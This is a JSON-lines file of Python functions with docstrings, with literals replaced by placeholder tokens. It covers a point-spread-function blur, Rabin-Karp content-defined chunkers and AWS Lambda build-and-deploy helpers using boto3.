{"signature": "def __call__(self, field):", "body": "<EOL>tile = peri.util.Tile(field.shape)<EOL>rx, ry = tile.kvectors(norm=<NUM_LIT:1.0>/tile.shape)<EOL>sx, sy = self.values<EOL>psf = np.exp(-((rx/sx)**<NUM_LIT:2> + (ry/sy)**<NUM_LIT:2>)/<NUM_LIT:2>)<EOL>psf = psf / psf.sum()<EOL>self.psf = psf<EOL>out = fft.fftn(fft.ifftn(field)*fft.ifftn(psf))<EOL>return fftnorm(np.real(out))<EOL>", "docstring": "Accept a field, apply the point-spread-function, and return\nthe resulting image of a blurred field", "id": "f5809:c1:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def create_chunker(self, chunk_size):<DEDENT>", "body": "", "docstring": "Abstract interface for chunker creation.", "id": "f5812:c0:m1"}
{"signature": "def create_multilevel_chunker(self, chunk_sizes):", "body": "return DefaultMultiLevelChunker(chunk_sizes, self.create_chunker)<EOL>", "docstring": "Create a multi-level chunker performing chunking with different chunk sizes.\n\n        Args:\n            chunk_sizes (list): List of target chunk sizes.\n\n                Warning:\n                    For performance reasons, behavior is only defined if chunk sizes are passed in order, i.e., from\n                    lowest to highest value.\n\n        Returns:\n            BaseMultiLevelChunker: A multi-level chunker object.", "id": "f5812:c0:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def next_chunk_boundaries(self, buf, prepend_bytes=<NUM_LIT:0>):<DEDENT>", "body": "", "docstring": "Computes the next chunk boundaries within `buf`.\n\n        Note:\n            If called more than once, output depends on `all` previous calls of this function: The chunking algorithm is\n            applied to the concatenation of all `buf` values.\n\n        Args:\n            buf (bytes): The message that is to be chunked.\n            prepend_bytes (Optional[int]): Optional number of zero bytes that should be input to the chunking algorithm\n                before `buf`.\n\n        Returns:\n            iterable: An iterable yielding chunk boundary positions relative to `buf`.", "id": "f5812:c1:m0"}
{"signature": "def next_chunk_boundaries(self, buf, prepend_bytes=<NUM_LIT:0>):", "body": "return (boundary for boundary, _ in self.next_chunk_boundaries_levels(buf, prepend_bytes))<EOL>", "docstring": "Computes the next chunk boundaries within `buf`.\n\n        See :meth:`.BaseChunker.next_chunk_boundaries`.", "id": "f5812:c2:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def next_chunk_boundaries_levels(self, buf, prepend_bytes=<NUM_LIT:0>):<DEDENT>", "body": "", "docstring": "Computes the next chunk boundaries within `buf`.\n\n        Similar to :meth:`.next_chunk_boundaries`, but information about which chunker led to a respective boundary is\n        included in the returned value.\n\n        Args:\n            buf (bytes): The message that is to be chunked.\n            prepend_bytes (Optional[int]): Optional number of zero bytes that should be input to the chunking algorithm\n                before `buf`.\n\n        Returns:\n            iterable: An iterable yielding tuples (boundary, level), where boundary is a boundary position relative to\n                `buf` and level is the index of the chunker (i.e., the index of its chunk size specified during\n                instantiation) that yielded the boundary.\n\n            If multiple chunkers yield the same boundary, it is returned only once, along with the highest matching\n            chunker index.", "id": "f5812:c2:m1"}
{"signature": "def next_chunk_boundaries_levels(self, buf, prepend_bytes=<NUM_LIT:0>):", "body": "boundaries = {}<EOL>for level_index, chunker in enumerate(self._chunkers):<EOL><INDENT>boundaries.update(<EOL>dict([(boundary, level_index) for boundary in chunker.next_chunk_boundaries(buf, prepend_bytes)]))<EOL><DEDENT>return sorted(boundaries.items())<EOL>", "docstring": "Computes the next chunk boundaries within `buf`.\n\n        Similar to :meth:`.next_chunk_boundaries`, but information about which chunker led to a respective boundary is\n        included in the returned value.\n\n        Args:\n            buf (bytes): The message that is to be chunked.\n            prepend_bytes (Optional[int]): Optional number of zero bytes that should be input to the chunking algorithm\n                before `buf`.\n\n        Returns:\n            list: List of tuples (boundary, level), where boundary is a boundary position relative to `buf` and level is\n                the index of the chunker (i.e., the index of its chunk size specified during instantiation) that yielded\n                the boundary.\n\n            If multiple chunkers yield the same boundary, it is returned only once, along with the highest matching\n            chunker index.", "id": "f5812:c3:m1"}
{"signature": "def create_chunker(self, chunk_size):", "body": "return SC._Chunker(chunk_size)<EOL>", "docstring": "Create a chunker performing static chunking (SC) with a specific chunk size.\n\n        Args:\n            chunk_size (int): Target chunk size.\n\n        Returns:\n            BaseChunker: A chunker object.", "id": "f5812:c4:m0"}
{"signature": "def create_chunker(self, chunk_size):", "body": "rolling_hash = _rabinkarprh.RabinKarpHash(self.window_size, self._seed)<EOL>rolling_hash.set_threshold(<NUM_LIT:1.0> / chunk_size)<EOL>return RabinKarpCDC._Chunker(rolling_hash)<EOL>", "docstring": "Create a chunker performing content-defined chunking (CDC) using Rabin Karp's rolling hash scheme with a\n        specific, expected chunk size.\n\n        Args:\n            chunk_size (int): (Expected) target chunk size.\n\n        Returns:\n            BaseChunker: A chunker object.", "id": "f5812:c5:m1"}
{"signature": "def create_multilevel_chunker(self, chunk_sizes):", "body": "rolling_hash = _rabinkarprh.RabinKarpMultiThresholdHash(self.window_size, self._seed,<EOL>[<NUM_LIT:1.0> / chunk_size for chunk_size in chunk_sizes])<EOL>return RabinKarpCDC._MultiLevelChunker(rolling_hash)<EOL>", "docstring": "Create a multi-level chunker performing content-defined chunking (CDC) using Rabin Karp's rolling hash scheme\n        with different specific, expected chunk sizes.\n\n        Args:\n            chunk_sizes (list): List of (expected) target chunk sizes.\n\n                Warning:\n                    For performance reasons, behavior is only defined if chunk sizes are passed in order, i.e., from\n                    lowest to highest value.\n\n        Returns:\n            BaseMultiLevelChunker: A multi-level chunker object.", "id": "f5812:c5:m2"}
{"signature": "def cleanup_old_versions(<EOL>src, keep_last_versions,<EOL>config_file='<STR_LIT>', profile_name=None,<EOL>):", "body": "if keep_last_versions <= <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>path_to_config_file = os.path.join(src, config_file)<EOL>cfg = read_cfg(path_to_config_file, profile_name)<EOL>profile_name = cfg.get('<STR_LIT>')<EOL>aws_access_key_id = cfg.get('<STR_LIT>')<EOL>aws_secret_access_key = cfg.get('<STR_LIT>')<EOL>client = get_client(<EOL>'<STR_LIT>', profile_name, aws_access_key_id, aws_secret_access_key,<EOL>cfg.get('<STR_LIT>'),<EOL>)<EOL>response = client.list_versions_by_function(<EOL>FunctionName=cfg.get('<STR_LIT>'),<EOL>)<EOL>versions = response.get('<STR_LIT>')<EOL>if len(response.get('<STR_LIT>')) < keep_last_versions:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>version_numbers = [elem.get('<STR_LIT>') for elem in<EOL>versions[<NUM_LIT:1>:-keep_last_versions]]<EOL>for version_number in version_numbers:<EOL><INDENT>try:<EOL><INDENT>client.delete_function(<EOL>FunctionName=cfg.get('<STR_LIT>'),<EOL>Qualifier=version_number,<EOL>)<EOL><DEDENT>except botocore.exceptions.ClientError as e:<EOL><INDENT>print('<STR_LIT>'<EOL>.format(version_number, e.message))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Deletes old deployed versions of the function in AWS Lambda.\n\n    Won't delete $Latest and any aliased version\n\n    :param str src:\n        The path to your Lambda ready project (folder must contain a valid\n        config.yaml and handler module (e.g.: service.py).\n    :param int keep_last_versions:\n        The number of recent versions to keep and not delete", "id": "f5821:m0"}
{"signature": "def deploy(<EOL>src, requirements=None, local_package=None,<EOL>config_file='<STR_LIT>', profile_name=None,<EOL>preserve_vpc=False<EOL>):", "body": "<EOL>path_to_config_file = os.path.join(src, config_file)<EOL>cfg = read_cfg(path_to_config_file, profile_name)<EOL>path_to_zip_file = build(<EOL>src, config_file=config_file,<EOL>requirements=requirements,<EOL>local_package=local_package,<EOL>)<EOL>existing_config = get_function_config(cfg)<EOL>if existing_config:<EOL><INDENT>update_function(cfg, path_to_zip_file, existing_config, preserve_vpc=preserve_vpc)<EOL><DEDENT>else:<EOL><INDENT>create_function(cfg, path_to_zip_file)<EOL><DEDENT>", "docstring": "Deploys a new function to AWS Lambda.\n\n    :param str src:\n        The path to your Lambda ready project (folder must contain a valid\n        config.yaml and handler module (e.g.: service.py).\n    :param str local_package:\n        The path to a local package with should be included in the deploy as\n        well (and/or is not available on PyPi)", "id": "f5821:m1"}
{"signature": "def deploy_s3(<EOL>src, requirements=None, local_package=None,<EOL>config_file='<STR_LIT>', profile_name=None,<EOL>preserve_vpc=False<EOL>):", "body": "<EOL>path_to_config_file = os.path.join(src, config_file)<EOL>cfg = read_cfg(path_to_config_file, profile_name)<EOL>path_to_zip_file = build(<EOL>src, config_file=config_file, requirements=requirements,<EOL>local_package=local_package,<EOL>)<EOL>use_s3 = True<EOL>s3_file = upload_s3(cfg, path_to_zip_file, use_s3)<EOL>existing_config = get_function_config(cfg)<EOL>if existing_config:<EOL><INDENT>update_function(cfg, path_to_zip_file, existing_config, use_s3=use_s3,<EOL>s3_file=s3_file, preserve_vpc=preserve_vpc)<EOL><DEDENT>else:<EOL><INDENT>create_function(cfg, path_to_zip_file, use_s3=use_s3, s3_file=s3_file)<EOL><DEDENT>", "docstring": "Deploys a new function via AWS S3.\n\n    :param str src:\n        The path to your Lambda ready project (folder must contain a valid\n        config.yaml and handler module (e.g.: service.py).\n    :param str local_package:\n        The path to a local package with should be included in the deploy as\n        well (and/or is not available on PyPi)", "id": "f5821:m2"}
{"signature": "def upload(<EOL>src, requirements=None, local_package=None,<EOL>config_file='<STR_LIT>', profile_name=None,<EOL>):", "body": "<EOL>path_to_config_file = os.path.join(src, config_file)<EOL>cfg = read_cfg(path_to_config_file, profile_name)<EOL>path_to_zip_file = build(<EOL>src, config_file=config_file, requirements=requirements,<EOL>local_package=local_package,<EOL>)<EOL>upload_s3(cfg, path_to_zip_file)<EOL>", "docstring": "Uploads a new function to AWS S3.\n\n    :param str src:\n        The path to your Lambda ready project (folder must contain a valid\n        config.yaml and handler module (e.g.: service.py).\n    :param str local_package:\n        The path to a local package with should be included in the deploy as\n        well (and/or is not available on PyPi)", "id": "f5821:m3"}
{"signature": "def invoke(<EOL>src, event_file='<STR_LIT>',<EOL>config_file='<STR_LIT>', profile_name=None,<EOL>verbose=False,<EOL>):", "body": "<EOL>path_to_config_file = os.path.join(src, config_file)<EOL>cfg = read_cfg(path_to_config_file, profile_name)<EOL>if profile_name:<EOL><INDENT>os.environ['<STR_LIT>'] = profile_name<EOL><DEDENT>env_vars = cfg.get('<STR_LIT>')<EOL>if env_vars:<EOL><INDENT>for key, value in env_vars.items():<EOL><INDENT>os.environ[key] = get_environment_variable_value(value)<EOL><DEDENT><DEDENT>path_to_event_file = os.path.join(src, event_file)<EOL>event = read(path_to_event_file, loader=json.loads)<EOL>try:<EOL><INDENT>sys.path.index(src)<EOL><DEDENT>except ValueError:<EOL><INDENT>sys.path.append(src)<EOL><DEDENT>handler = cfg.get('<STR_LIT>')<EOL>fn = get_callable_handler_function(src, handler)<EOL>timeout = cfg.get('<STR_LIT>')<EOL>if timeout:<EOL><INDENT>context = LambdaContext(cfg.get('<STR_LIT>'),timeout)<EOL><DEDENT>else:<EOL><INDENT>context = LambdaContext(cfg.get('<STR_LIT>'))<EOL><DEDENT>start = time.time()<EOL>results = fn(event, context)<EOL>end = time.time()<EOL>print('<STR_LIT>'.format(results))<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>'.format(end - start, cfg.get('<STR_LIT>', <NUM_LIT:15>)))<EOL><DEDENT>", "docstring": "Simulates a call to your function.\n\n    :param str src:\n        The path to your Lambda ready project (folder must contain a valid\n        config.yaml and handler module (e.g.: service.py).\n    :param str alt_event:\n        An optional argument to override which event file to use.\n    :param bool verbose:\n        Whether to print out verbose details.", "id": "f5821:m4"}
{"signature": "def init(src, minimal=False):", "body": "templates_path = os.path.join(<EOL>os.path.dirname(os.path.abspath(__file__)), '<STR_LIT>',<EOL>)<EOL>for filename in os.listdir(templates_path):<EOL><INDENT>if (minimal and filename == '<STR_LIT>') or filename.endswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>dest_path = os.path.join(templates_path, filename)<EOL>if not os.path.isdir(dest_path):<EOL><INDENT>copy(dest_path, src)<EOL><DEDENT><DEDENT>", "docstring": "Copies template files to a given directory.\n\n    :param str src:\n        The path to output the template lambda project files.\n    :param bool minimal:\n        Minimal possible template files (excludes event.json).", "id": "f5821:m5"}
{"signature": "def build(<EOL>src, requirements=None, local_package=None,<EOL>config_file='<STR_LIT>', profile_name=None,<EOL>):", "body": "<EOL>path_to_config_file = os.path.join(src, config_file)<EOL>cfg = read_cfg(path_to_config_file, profile_name)<EOL>dist_directory = cfg.get('<STR_LIT>', '<STR_LIT>')<EOL>path_to_dist = os.path.join(src, dist_directory)<EOL>mkdir(path_to_dist)<EOL>function_name = cfg.get('<STR_LIT>')<EOL>output_filename = '<STR_LIT>'.format(timestamp(), function_name)<EOL>path_to_temp = mkdtemp(prefix='<STR_LIT>')<EOL>pip_install_to_target(<EOL>path_to_temp,<EOL>requirements=requirements,<EOL>local_package=local_package,<EOL>)<EOL>if '<STR_LIT>' in os.listdir(path_to_temp):<EOL><INDENT>print(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>)<EOL>with open(os.path.join(path_to_temp, '<STR_LIT>'), '<STR_LIT:wb>'):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>output_filename = (<EOL>'<STR_LIT>'.format(output_filename)<EOL>if not output_filename.endswith('<STR_LIT>')<EOL>else output_filename<EOL>)<EOL>build_config = defaultdict(**cfg.get('<STR_LIT>', {}))<EOL>build_source_directories = build_config.get('<STR_LIT>', '<STR_LIT>')<EOL>build_source_directories = (<EOL>build_source_directories<EOL>if build_source_directories is not None<EOL>else '<STR_LIT>'<EOL>)<EOL>source_directories = [<EOL>d.strip() for d in build_source_directories.split('<STR_LIT:U+002C>')<EOL>]<EOL>files = []<EOL>for filename in os.listdir(src):<EOL><INDENT>if os.path.isfile(filename):<EOL><INDENT>if filename == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if filename == config_file:<EOL><INDENT>continue<EOL><DEDENT>print('<STR_LIT>' % filename)<EOL>files.append(os.path.join(src, filename))<EOL><DEDENT>elif os.path.isdir(filename) and filename in source_directories:<EOL><INDENT>print('<STR_LIT>' % filename)<EOL>files.append(os.path.join(src, filename))<EOL><DEDENT><DEDENT>os.chdir(path_to_temp)<EOL>for f in files:<EOL><INDENT>if os.path.isfile(f):<EOL><INDENT>_, filename = os.path.split(f)<EOL>copyfile(f, os.path.join(path_to_temp, filename))<EOL>copystat(f, os.path.join(path_to_temp, filename))<EOL><DEDENT>elif os.path.isdir(f):<EOL><INDENT>destination_folder = os.path.join(path_to_temp, f[len(src) + <NUM_LIT:1>:])<EOL>copytree(f, destination_folder)<EOL><DEDENT><DEDENT>path_to_zip_file = archive('<STR_LIT>', path_to_dist, output_filename)<EOL>return path_to_zip_file<EOL>", "docstring": "Builds the file bundle.\n\n    :param str src:\n       The path to your Lambda ready project (folder must contain a valid\n        config.yaml and handler module (e.g.: service.py).\n    :param str local_package:\n        The path to a local package with should be included in the deploy as\n        well (and/or is not available on PyPi)", "id": "f5821:m6"}
{"signature": "def get_callable_handler_function(src, handler):", "body": "<EOL>os.chdir(src)<EOL>module_name, function_name = handler.split('<STR_LIT:.>')<EOL>filename = get_handler_filename(handler)<EOL>path_to_module_file = os.path.join(src, filename)<EOL>module = load_source(module_name, path_to_module_file)<EOL>return getattr(module, function_name)<EOL>", "docstring": "Tranlate a string of the form \"module.function\" into a callable\n    function.\n\n    :param str src:\n      The path to your Lambda project containing a valid handler file.\n    :param str handler:\n      A dot delimited string representing the `<module>.<function name>`.", "id": "f5821:m7"}
{"signature": "def get_handler_filename(handler):", "body": "module_name, _ = handler.split('<STR_LIT:.>')<EOL>return '<STR_LIT>'.format(module_name)<EOL>", "docstring": "Shortcut to get the filename from the handler string.\n\n    :param str handler:\n      A dot delimited string representing the `<module>.<function name>`.", "id": "f5821:m8"}
{"signature": "def _install_packages(path, packages):", "body": "def _filter_blacklist(package):<EOL><INDENT>blacklist = ['<STR_LIT>', '<STR_LIT:#>', '<STR_LIT>', '<STR_LIT>']<EOL>return all(package.startswith(entry) is False for entry in blacklist)<EOL><DEDENT>filtered_packages = filter(_filter_blacklist, packages)<EOL>for package in filtered_packages:<EOL><INDENT>if package.startswith('<STR_LIT>'):<EOL><INDENT>package = package.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>print('<STR_LIT>'.format(package=package))<EOL>subprocess.check_call([sys.executable, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', package, '<STR_LIT>', path, '<STR_LIT>'])<EOL><DEDENT>print ('<STR_LIT>'.format(directory=os.listdir(path)))<EOL>", "docstring": "Install all packages listed to the target directory.\n\n    Ignores any package that includes Python itself and python-lambda as well\n    since its only needed for deploying and not running the code\n\n    :param str path:\n        Path to copy installed pip packages to.\n    :param list packages:\n        A list of packages to be installed via pip.", "id": "f5821:m9"}
{"signature": "def pip_install_to_target(path, requirements=None, local_package=None):", "body": "packages = []<EOL>if not requirements:<EOL><INDENT>print('<STR_LIT>')<EOL>pkgStr = subprocess.check_output([sys.executable, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>packages.extend(pkgStr.decode('<STR_LIT:utf-8>').splitlines())<EOL><DEDENT>else:<EOL><INDENT>if os.path.exists(requirements):<EOL><INDENT>print('<STR_LIT>')<EOL>data = read(requirements)<EOL>packages.extend(data.splitlines())<EOL><DEDENT><DEDENT>if not packages:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>if local_package is not None:<EOL><INDENT>if not isinstance(local_package, (list, tuple)):<EOL><INDENT>local_package = [local_package]<EOL><DEDENT>for l_package in local_package:<EOL><INDENT>packages.append(l_package)<EOL><DEDENT><DEDENT>_install_packages(path, packages)<EOL>", "docstring": "For a given active virtualenv, gather all installed pip packages then\n    copy (re-install) them to the path provided.\n\n    :param str path:\n        Path to copy installed pip packages to.\n    :param str requirements:\n        If set, only the packages in the supplied requirements file are\n        installed.\n        If not set then installs all packages found via pip freeze.\n    :param str local_package:\n        The path to a local package with should be included in the deploy as\n        well (and/or is not available on PyPi)", "id": "f5821:m10"}
{"signature": "def get_role_name(region, account_id, role):", "body": "prefix = ARN_PREFIXES.get(region, '<STR_LIT>')<EOL>return '<STR_LIT>'.format(prefix, account_id, role)<EOL>", "docstring": "Shortcut to insert the `account_id` and `role` into the iam string.", "id": "f5821:m11"}
{"signature": "def get_account_id(<EOL>profile_name, aws_access_key_id, aws_secret_access_key,<EOL>region=None,<EOL>):", "body": "client = get_client(<EOL>'<STR_LIT>', profile_name, aws_access_key_id, aws_secret_access_key,<EOL>region,<EOL>)<EOL>return client.get_caller_identity().get('<STR_LIT>')<EOL>", "docstring": "Query STS for a users' account_id", "id": "f5821:m12"}
{"signature": "def get_client(<EOL>client, profile_name, aws_access_key_id, aws_secret_access_key,<EOL>region=None,<EOL>):", "body": "boto3.setup_default_session(<EOL>profile_name=profile_name,<EOL>aws_access_key_id=aws_access_key_id,<EOL>aws_secret_access_key=aws_secret_access_key,<EOL>region_name=region,<EOL>)<EOL>return boto3.client(client)<EOL>", "docstring": "Shortcut for getting an initialized instance of the boto3 client.", "id": "f5821:m13"}
{"signature": "def create_function(cfg, path_to_zip_file, use_s3=False, s3_file=None):", "body": "print('<STR_LIT>')<EOL>byte_stream = read(path_to_zip_file, binary_file=True)<EOL>profile_name = cfg.get('<STR_LIT>')<EOL>aws_access_key_id = cfg.get('<STR_LIT>')<EOL>aws_secret_access_key = cfg.get('<STR_LIT>')<EOL>account_id = get_account_id(<EOL>profile_name, aws_access_key_id, aws_secret_access_key, cfg.get(<EOL>'<STR_LIT>',<EOL>),<EOL>)<EOL>role = get_role_name(<EOL>cfg.get('<STR_LIT>'), account_id,<EOL>cfg.get('<STR_LIT>', '<STR_LIT>'),<EOL>)<EOL>client = get_client(<EOL>'<STR_LIT>', profile_name, aws_access_key_id, aws_secret_access_key,<EOL>cfg.get('<STR_LIT>'),<EOL>)<EOL>buck_name = (<EOL>os.environ.get('<STR_LIT>') or cfg.get('<STR_LIT>')<EOL>)<EOL>func_name = (<EOL>os.environ.get('<STR_LIT>') or cfg.get('<STR_LIT>')<EOL>)<EOL>print('<STR_LIT>'.format(func_name))<EOL>if use_s3:<EOL><INDENT>kwargs = {<EOL>'<STR_LIT>': func_name,<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': role,<EOL>'<STR_LIT>': cfg.get('<STR_LIT>'),<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': '<STR_LIT:{}>'.format(buck_name),<EOL>'<STR_LIT>': '<STR_LIT:{}>'.format(s3_file),<EOL>},<EOL>'<STR_LIT>': cfg.get('<STR_LIT:description>', '<STR_LIT>'),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', <NUM_LIT:15>),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', <NUM_LIT>),<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', []),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', []),<EOL>},<EOL>'<STR_LIT>': True,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>kwargs = {<EOL>'<STR_LIT>': func_name,<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': role,<EOL>'<STR_LIT>': cfg.get('<STR_LIT>'),<EOL>'<STR_LIT>': {'<STR_LIT>': byte_stream},<EOL>'<STR_LIT>': cfg.get('<STR_LIT:description>', '<STR_LIT>'),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', <NUM_LIT:15>),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', <NUM_LIT>),<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', []),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', []),<EOL>},<EOL>'<STR_LIT>': True,<EOL>}<EOL><DEDENT>if '<STR_LIT>' in cfg:<EOL><INDENT>kwargs.update(<EOL>Tags={<EOL>key: str(value)<EOL>for key, value in cfg.get('<STR_LIT>').items()<EOL>}<EOL>)<EOL><DEDENT>if '<STR_LIT>' in cfg:<EOL><INDENT>kwargs.update(<EOL>Environment={<EOL>'<STR_LIT>': {<EOL>key: get_environment_variable_value(value)<EOL>for key, value<EOL>in cfg.get('<STR_LIT>').items()<EOL>},<EOL>},<EOL>)<EOL><DEDENT>client.create_function(**kwargs)<EOL>concurrency = get_concurrency(cfg)<EOL>if concurrency > <NUM_LIT:0>:<EOL><INDENT>client.put_function_concurrency(FunctionName=func_name, ReservedConcurrentExecutions=concurrency)<EOL><DEDENT>", "docstring": "Register and upload a function to AWS Lambda.", "id": "f5821:m14"}
{"signature": "def update_function(<EOL>cfg, path_to_zip_file, existing_cfg, use_s3=False, s3_file=None, preserve_vpc=False<EOL>):", "body": "print('<STR_LIT>')<EOL>byte_stream = read(path_to_zip_file, binary_file=True)<EOL>profile_name = cfg.get('<STR_LIT>')<EOL>aws_access_key_id = cfg.get('<STR_LIT>')<EOL>aws_secret_access_key = cfg.get('<STR_LIT>')<EOL>account_id = get_account_id(<EOL>profile_name, aws_access_key_id, aws_secret_access_key, cfg.get(<EOL>'<STR_LIT>',<EOL>),<EOL>)<EOL>role = get_role_name(<EOL>cfg.get('<STR_LIT>'), account_id,<EOL>cfg.get('<STR_LIT>', '<STR_LIT>'),<EOL>)<EOL>client = get_client(<EOL>'<STR_LIT>', profile_name, aws_access_key_id, aws_secret_access_key,<EOL>cfg.get('<STR_LIT>'),<EOL>)<EOL>buck_name = (<EOL>os.environ.get('<STR_LIT>') or cfg.get('<STR_LIT>')<EOL>)<EOL>if use_s3:<EOL><INDENT>client.update_function_code(<EOL>FunctionName=cfg.get('<STR_LIT>'),<EOL>S3Bucket='<STR_LIT:{}>'.format(buck_name),<EOL>S3Key='<STR_LIT:{}>'.format(s3_file),<EOL>Publish=True,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>client.update_function_code(<EOL>FunctionName=cfg.get('<STR_LIT>'),<EOL>ZipFile=byte_stream,<EOL>Publish=True,<EOL>)<EOL><DEDENT>kwargs = {<EOL>'<STR_LIT>': cfg.get('<STR_LIT>'),<EOL>'<STR_LIT>': role,<EOL>'<STR_LIT>': cfg.get('<STR_LIT>'),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>'),<EOL>'<STR_LIT>': cfg.get('<STR_LIT:description>', '<STR_LIT>'),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', <NUM_LIT:15>),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', <NUM_LIT>),<EOL>}<EOL>if preserve_vpc:<EOL><INDENT>kwargs['<STR_LIT>'] = existing_cfg.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>if kwargs['<STR_LIT>'] is None:<EOL><INDENT>kwargs['<STR_LIT>'] = {<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', []),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', []),<EOL>}<EOL><DEDENT>else:<EOL><INDENT>del kwargs['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT><DEDENT>else:<EOL><INDENT>kwargs['<STR_LIT>'] = {<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', []),<EOL>'<STR_LIT>': cfg.get('<STR_LIT>', []),<EOL>}<EOL><DEDENT>if '<STR_LIT>' in cfg:<EOL><INDENT>kwargs.update(<EOL>Environment={<EOL>'<STR_LIT>': {<EOL>key: str(get_environment_variable_value(value))<EOL>for key, value<EOL>in cfg.get('<STR_LIT>').items()<EOL>},<EOL>},<EOL>)<EOL><DEDENT>ret = client.update_function_configuration(**kwargs)<EOL>concurrency = get_concurrency(cfg)<EOL>if concurrency > <NUM_LIT:0>:<EOL><INDENT>client.put_function_concurrency(FunctionName=cfg.get('<STR_LIT>'), ReservedConcurrentExecutions=concurrency)<EOL><DEDENT>elif '<STR_LIT>' in existing_cfg:<EOL><INDENT>client.delete_function_concurrency(FunctionName=cfg.get('<STR_LIT>'))<EOL><DEDENT>if '<STR_LIT>' in cfg:<EOL><INDENT>tags = {<EOL>key: str(value)<EOL>for key, value in cfg.get('<STR_LIT>').items()<EOL>}<EOL>if tags != existing_cfg.get('<STR_LIT>'):<EOL><INDENT>if existing_cfg.get('<STR_LIT>'):<EOL><INDENT>client.untag_resource(Resource=ret['<STR_LIT>'],<EOL>TagKeys=list(existing_cfg['<STR_LIT>'].keys()))<EOL><DEDENT>client.tag_resource(Resource=ret['<STR_LIT>'], Tags=tags)<EOL><DEDENT><DEDENT>", "docstring": "Updates the code of an existing Lambda function", "id": "f5821:m15"}
{"signature": "def upload_s3(cfg, path_to_zip_file, *use_s3):", "body": "print('<STR_LIT>')<EOL>profile_name = cfg.get('<STR_LIT>')<EOL>aws_access_key_id = cfg.get('<STR_LIT>')<EOL>aws_secret_access_key = cfg.get('<STR_LIT>')<EOL>client = get_client(<EOL>'<STR_LIT>', profile_name, aws_access_key_id, aws_secret_access_key,<EOL>cfg.get('<STR_LIT>'),<EOL>)<EOL>byte_stream = b'<STR_LIT>'<EOL>with open(path_to_zip_file, mode='<STR_LIT:rb>') as fh:<EOL><INDENT>byte_stream = fh.read()<EOL><DEDENT>s3_key_prefix = cfg.get('<STR_LIT>', '<STR_LIT>')<EOL>checksum = hashlib.new('<STR_LIT>', byte_stream).hexdigest()<EOL>timestamp = str(time.time())<EOL>filename = '<STR_LIT>'.format(<EOL>prefix=s3_key_prefix, checksum=checksum, ts=timestamp,<EOL>)<EOL>buck_name = (<EOL>os.environ.get('<STR_LIT>') or cfg.get('<STR_LIT>')<EOL>)<EOL>func_name = (<EOL>os.environ.get('<STR_LIT>') or cfg.get('<STR_LIT>')<EOL>)<EOL>kwargs = {<EOL>'<STR_LIT>': '<STR_LIT:{}>'.format(buck_name),<EOL>'<STR_LIT>': '<STR_LIT:{}>'.format(filename),<EOL>'<STR_LIT>': byte_stream,<EOL>}<EOL>client.put_object(**kwargs)<EOL>print('<STR_LIT>'.format(func_name, buck_name))<EOL>if use_s3:<EOL><INDENT>return filename<EOL><DEDENT>", "docstring": "Upload a function to AWS S3.", "id": "f5821:m16"}
{"signature": "def get_function_config(cfg):", "body": "function_name = cfg.get('<STR_LIT>')<EOL>profile_name = cfg.get('<STR_LIT>')<EOL>aws_access_key_id = cfg.get('<STR_LIT>')<EOL>aws_secret_access_key = cfg.get('<STR_LIT>')<EOL>client = get_client(<EOL>'<STR_LIT>', profile_name, aws_access_key_id, aws_secret_access_key,<EOL>cfg.get('<STR_LIT>'),<EOL>)<EOL>try:<EOL><INDENT>return client.get_function(FunctionName=function_name)<EOL><DEDENT>except client.exceptions.ResourceNotFoundException as e:<EOL><INDENT>if '<STR_LIT>' in str(e):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>", "docstring": "Check whether a function exists or not and return its config", "id": "f5821:m17"}
{"signature": "def get_concurrency(cfg):", "body": "concurrency = int(cfg.get('<STR_LIT>', <NUM_LIT:0>))<EOL>return max(<NUM_LIT:0>, concurrency)<EOL>", "docstring": "Return the Reserved Concurrent Executions if present in the config", "id": "f5821:m18"}
